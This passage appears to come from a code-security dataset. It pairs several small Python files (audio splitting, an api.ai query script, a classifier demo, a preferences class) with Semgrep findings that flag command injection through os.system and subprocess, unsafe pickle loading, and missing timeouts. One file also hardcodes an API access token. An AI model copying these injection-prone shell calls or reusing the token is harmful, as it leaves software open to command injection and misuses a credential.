os.remove(f)
try:
os.remove('mp3splt.log')
except FileNotFoundError:
pass
print('\nAudio split complete!')
if __name__ == '__main__':
main()
| 91 | 34.01 | 75 | 16 | 840 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_8b79d7cc27e0d638_7bb525ad", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 65, "column_start": 14, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/8b79d7cc27e0d638.py", "start": {"line": 61, "col": 14, "offset": 2087}, "end": {"line": 65, "col": 66, "offset": 2325}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
61
] | [
65
] | [
14
] | [
66
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | glossika_split_audio.py | /glossika-to-anki/glossika_split_audio.py | emesterhazy/glossika-to-anki | MIT | |
2024-11-18T18:39:36.243430+00:00 | 1,477,036,417,000 | f2c3cbce847210a7cad7c1ea53ecb3cce16dca0f | 2 | {
"blob_id": "f2c3cbce847210a7cad7c1ea53ecb3cce16dca0f",
"branch_name": "refs/heads/master",
"committer_date": 1477036417000,
"content_id": "aceda20e8fcfb5550f0a35f3088b710f39639a23",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "114d45d502b53f739aee6e5df61b20edfbac07f2",
"extension": "py",
"filename": "api_connection.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 71348359,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1364,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/api_connection.py",
"provenance": "stack-edu-0054.json.gz:569976",
"repo_name": "wangejay/smartoffice2",
"revision_date": 1477036417000,
"revision_id": "a842b2f6b93a8c4fd536c67f4dd4b279c7e0352b",
"snapshot_id": "38b8dbbc7501726214b4dd41610bff1079fa5373",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/wangejay/smartoffice2/a842b2f6b93a8c4fd536c67f4dd4b279c7e0352b/api_connection.py",
"visit_date": "2021-05-04T02:33:19.779296"
} | 2.359375 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os.path
import sys
import json
try:
import apiai
except ImportError:
sys.path.append(
os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)
)
import apiai
CLIENT_ACCESS_TOKEN = '9837df6bcc2a435cbcfac3698d24db42'
def main():
ai = apiai.ApiAI(CLIENT_ACCESS_TOKEN)
request = ai.text_request()
request.lang = 'en' # optional, default value equal 'en'
# request.session_id = "<SESSION ID, UNIQUE FOR EACH USER>"
if sys.argv[1]:
request.query = sys.argv[1]
else:
request.query = "how to save the power"
response = request.getresponse()
data_string= response.read()
print (data_string)
data = json.loads(data_string)
print (data["result"]["parameters"]["date"])
print (data["result"])
print (data["id"])
id_test=data["id"]
print (id_test[3:5])
date_test= str(data["result"]["parameters"]["date"])
date_string =date_test[3:13]
print (date_string)
any_test= str(data["result"]["parameters"]["any"])
any_string =any_test
print (any_string)
if sys.argv[1]:
print sys.argv[1]
p_comment= "python /Users/wangejay/Github/smartoffice/calendar_manage.py "+ date_string +" "+any_string
os.system(p_comment)
if __name__ == '__main__':
main() | 60 | 21.75 | 107 | 15 | 371 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_98d9cc297a1f8e0b_c44d9aa3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 5, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/98d9cc297a1f8e0b.py", "start": {"line": 57, "col": 5, "offset": 1305}, "end": {"line": 57, "col": 25, "offset": 1325}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_98d9cc297a1f8e0b_de6fe645", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 5, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/98d9cc297a1f8e0b.py", "start": {"line": 57, "col": 5, "offset": 1305}, "end": {"line": 57, "col": 25, "offset": 1325}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
57,
57
] | [
57,
57
] | [
5,
5
] | [
25,
25
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | api_connection.py | /api_connection.py | wangejay/smartoffice2 | Apache-2.0 | |
2024-11-18T18:39:37.600510+00:00 | 1,674,000,526,000 | 7eb7f4a97c9b1a514e863344aa96cc80a38ae3d2 | 3 | {
"blob_id": "7eb7f4a97c9b1a514e863344aa96cc80a38ae3d2",
"branch_name": "refs/heads/master",
"committer_date": 1674000526000,
"content_id": "65bc732acdb4978384d6339f0d314108a5ca8d82",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "cf8f5c5181466078f6d58bd0e22f5667e131c848",
"extension": "py",
"filename": "demo.py",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 413199643,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1536,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/demo/demo.py",
"provenance": "stack-edu-0054.json.gz:569993",
"repo_name": "SoftwareUnderstanding/rolf",
"revision_date": 1674000526000,
"revision_id": "5e0ce7b405020bb1e7c2a74d2df9273e3e2078ce",
"snapshot_id": "a1d96cd083f1fbcb92132629e931ec2a4fc13a95",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/SoftwareUnderstanding/rolf/5e0ce7b405020bb1e7c2a74d2df9273e3e2078ce/src/demo/demo.py",
"visit_date": "2023-04-17T21:13:59.371341"
} | 2.78125 | stackv2 | import pandas as pd
import pickle
import sys, os
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))
from Preprocessor import Preprocessor
import os
import argparse
import requests
from pathlib import Path
parser = argparse.ArgumentParser(description='Try classification')
parser.add_argument('--models_dir', dest='models_dir', help='The path to the folder containing the models', required=True)
parser.add_argument('--readme_url', dest='readme_url', help='GitHub URL to the raw readme')
parser.add_argument('--text_file', dest='text_file', help='Path to the txt file that contains the text')
parser.add_argument('--threshold', dest='threshold', type=float, help='Threshold for predicting positive samples', default=0.7)
args = parser.parse_args()
text = ''
if args.readme_url:
r = requests.get(args.readme_url)
r.raise_for_status()
text = r.text
elif args.text_file:
with open(args.text_file) as f:
text = f.read().replace('\n', ' ')
else:
raise Exception('No text is given')
text = pd.DataFrame([text], columns=['Text'])
Preprocessor(text).run()
dir = Path(args.models_dir)
models = os.listdir(dir)
predictions = []
for model in models:
clf = pickle.load(open(dir/model, 'rb'))
[prob] = clf.predict_proba(text)
print(prob)
if max(prob) >= args.threshold: [pred] = clf.predict(text)
else: pred = 'Other'
if pred != 'Other':
predictions.append(pred)
print('Predictions:')
if not predictions:
print('Other')
else:
print(predictions)
| 51 | 29.12 | 127 | 13 | 357 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_6c9530b9b892b563_ee334b11", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(args.readme_url, timeout=30)", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 9, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 23, "col": 9, "offset": 819}, "end": {"line": 23, "col": 38, "offset": 848}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(args.readme_url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_6c9530b9b892b563_0c0cdeeb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 10, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 27, "col": 10, "offset": 922}, "end": {"line": 27, "col": 30, "offset": 942}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6c9530b9b892b563_81a255d2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 11, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 39, "col": 11, "offset": 1212}, "end": {"line": 39, "col": 45, "offset": 1246}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_6c9530b9b892b563_9ff0e00a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `pred == pred` or `pred != pred`. If testing for floating point NaN, use `math.isnan(pred)`, or `cmath.isnan(pred)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 8, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 44, "col": 8, "offset": 1395}, "end": {"line": 44, "col": 23, "offset": 1410}, "extra": {"message": "This expression is always True: `pred == pred` or `pred != pred`. If testing for floating point NaN, use `math.isnan(pred)`, or `cmath.isnan(pred)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
39
] | [
39
] | [
11
] | [
45
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | demo.py | /src/demo/demo.py | SoftwareUnderstanding/rolf | Apache-2.0 | |
2024-11-18T18:39:40.101426+00:00 | 1,518,979,038,000 | fbfac6c2603026765589f936e80329e545efddba | 3 | {
"blob_id": "fbfac6c2603026765589f936e80329e545efddba",
"branch_name": "refs/heads/master",
"committer_date": 1518979038000,
"content_id": "802569b996a3bf774b4cb7f303db02a4f0c8dc34",
"detected_licenses": [
"MIT"
],
"directory_id": "a2b2496eaf3e9e3afd6e0098e955f4321d53e30b",
"extension": "py",
"filename": "guidata.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 79606972,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5858,
"license": "MIT",
"license_type": "permissive",
"path": "/guiUtil/guidata.py",
"provenance": "stack-edu-0054.json.gz:570026",
"repo_name": "cjsantucci/h5Widget",
"revision_date": 1518979038000,
"revision_id": "f0768e7ffbc817741bfc980b69566efe002dd668",
"snapshot_id": "d8424e4252fb1413739670071673cfaa24ec9e95",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/cjsantucci/h5Widget/f0768e7ffbc817741bfc980b69566efe002dd668/guiUtil/guidata.py",
"visit_date": "2021-01-11T18:44:58.395664"
} | 2.703125 | stackv2 | '''z
Created on Feb 3, 2017
@author: chris
'''
from guiUtil.pref import pref
import os
import re
import warnings
class guiData( object ):
"""
class with functionality for storing default data options
the default dictionary will have a data fields which can be stored in persistent memory
if the data has been overwritten and saved, the underlying preference object will load the most recently
saved value, rather than the default value.
called a recent on the defaults will overwrite the old defaults.
"""
def __init__( self, persistentDir= None, persistentFile= None, \
prefGroup= None, guiDataObj= None, \
initDefaultDict= None, groupSubCat= None ):
"""
-Must define the directory, file and group.
-if the guiDataObj is defined, then the copy constructor uses only these fields
and NOT any of the data.
- if initDefault dict is defined, it laods the values from disk/persistent memory
"""
if guiDataObj is not None:
assert groupSubCat is not None, "When using copy constructor must define groupSubCat"
# copy constructor, use the same file as the other guy
persistentDir= guiDataObj.persistentDir
persistentFile= guiDataObj.persistentFile
prefGroup= guiDataObj.prefGroup + "/" + groupSubCat
else:
assert persistentFile is not None, "must define persistent file"
assert prefGroup is not None, "must define prefGroup"
assert prefGroup != "", "must define prefGroup as non empty string"
if groupSubCat is not None:
prefGroup= prefGroup + "/" + groupSubCat
self.prefGroup= prefGroup
self.persistentDir= ""
self.persistentFile= persistentFile
if persistentDir is not None:
self.persistentDir= persistentDir
prefFile= os.path.join( persistentDir, persistentFile )
else:
prefFile= os.environ[ 'HOME' ]
self._prefObj= pref( file= prefFile )
self._loadedDefaults= list()
self._defDict= dict()
if initDefaultDict is not None:
self.addAndStoreDefaults( initDefaultDict )
def deletePrefFile( self ):
os.system( "rm -f " + self.prefFile )
def getPrefFile( self ):
return self.prefObj.file
def getDefaultDict( self ):
return self._defDict.copy()
def setDefaultDict( self, inDict ):
"""
resets awareness of which defaults have already been saved to disk
"""
self._defDict= inDict
self._loadedDefaults= list()
def addDefaults( self, inDict ):
self._defDict.update( inDict )
def addAndStoreDefaults( self, inDict ):
self.addDefaults( inDict )
self.storeUnloadedDefaultsOnly()
def storeUnloadedDefaultsOnly( self ):
"""
1. determine which defaults have not been loaded from pref file
2. keep track of the loaded by adding to _loadedDefaults
3. load them, BUT only overwrite in the self dictionary if
that field DNE in self already. Send warning if not
"""
unStoredKeys= [ aKey
for aKey in self._defDict.keys()
if aKey not in self._loadedDefaults ]
if len( unStoredKeys ) == 0:
return
# keep track of what has been loaded
[ self._loadedDefaults.append( aKey ) for aKey in unStoredKeys ]
# get the data
data= [ self._defDict[ aKey ] for aKey in unStoredKeys ]
# loading only unloaded
tempDict= self._prefObj.load( group= self.prefGroup, \
name= unStoredKeys, default= data )
# add if already not a field
addDict= { aKey.split("/")[-1]: tempDict[aKey]
if aKey not in self.__dict__
else warnings.warn( "\"" + aKey + "\" is already stored in the data, " + \
"Will not updated this field with unstored default" )
for aKey in tempDict }
self.__dict__.update( addDict )
def resetSelfWithDefaults( self ):
"""
over-write any property with the defaults
"""
self.__dict__.update( self._defDict )
def resetStoredDefaults( self ):
"""
save the defaults to the file and update my dictionary with the defaults
"""
keys= list( self._defDict.keys() )
data= [ self._defDict[ aKey ] for aKey in keys ]
self.prefObj.save( group= self.prefGroup, name= keys, data= data )
self.resetSelfWithDefaults()
def save( self, propList= None ):
"""
save a list
if no list provided save all properties without an underscore
"""
if propList is None:
# props which do not begin with underscore
propList= [ aKey
for aKey in self.__dict__.keys()
if aKey.split("_")[0].strip() != "" ]
elif type( propList ) == type( str() ):
propList= [ propList ]
data= [ getattr( self, aProp )
if aProp in self.__dict__
else warnings.warn( "\"" + aProp + "\" not able to be saved, not a property" )
for aProp in propList ]
self.prefObj.save( group= self.prefGroup, name= propList, data= data )
def getPrefObj( self ):
return self._prefObj
prefFile= property( getPrefFile )
defDict= property( getDefaultDict, setDefaultDict )
prefObj= property( getPrefObj ) | 158 | 36.08 | 108 | 19 | 1,302 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_5cbc7e00ee74e0f5_e503df4c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/5cbc7e00ee74e0f5.py", "start": {"line": 61, "col": 9, "offset": 2334}, "end": {"line": 61, "col": 46, "offset": 2371}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
61
] | [
61
] | [
9
] | [
46
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | guidata.py | /guiUtil/guidata.py | cjsantucci/h5Widget | MIT | |
2024-11-18T18:39:44.747575+00:00 | 1,636,814,357,000 | 7728e8247e8ecc8add2045c6b2db54e0f8795994 | 3 | {
"blob_id": "7728e8247e8ecc8add2045c6b2db54e0f8795994",
"branch_name": "refs/heads/master",
"committer_date": 1636814357000,
"content_id": "a8c6fa1fbbda8366f719a34926f25a6b6996daa7",
"detected_licenses": [
"MIT"
],
"directory_id": "629acdf83cf05e8bbe876bcc4dedd4e476ff60f5",
"extension": "py",
"filename": "entities.py",
"fork_events_count": 0,
"gha_created_at": 1608310968000,
"gha_event_created_at": 1636814358000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 322655672,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3663,
"license": "MIT",
"license_type": "permissive",
"path": "/src/ddhi_aggregator/entities/entities.py",
"provenance": "stack-edu-0054.json.gz:570069",
"repo_name": "agile-humanities/ddhi-aggregator",
"revision_date": 1636814357000,
"revision_id": "41616281340120dde86fdc1e4d6b4b6c6ba554d2",
"snapshot_id": "4d4a7bd38522f6060281199bf124b36cc0a2ea7a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/agile-humanities/ddhi-aggregator/41616281340120dde86fdc1e4d6b4b6c6ba554d2/src/ddhi_aggregator/entities/entities.py",
"visit_date": "2023-09-02T08:46:05.856717"
} | 2.578125 | stackv2 | # -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from lxml import etree
class Entity(object):
TEI_NAMESPACE = "http://www.tei-c.org/ns/1.0"
TEI = "{%s}" % TEI_NAMESPACE
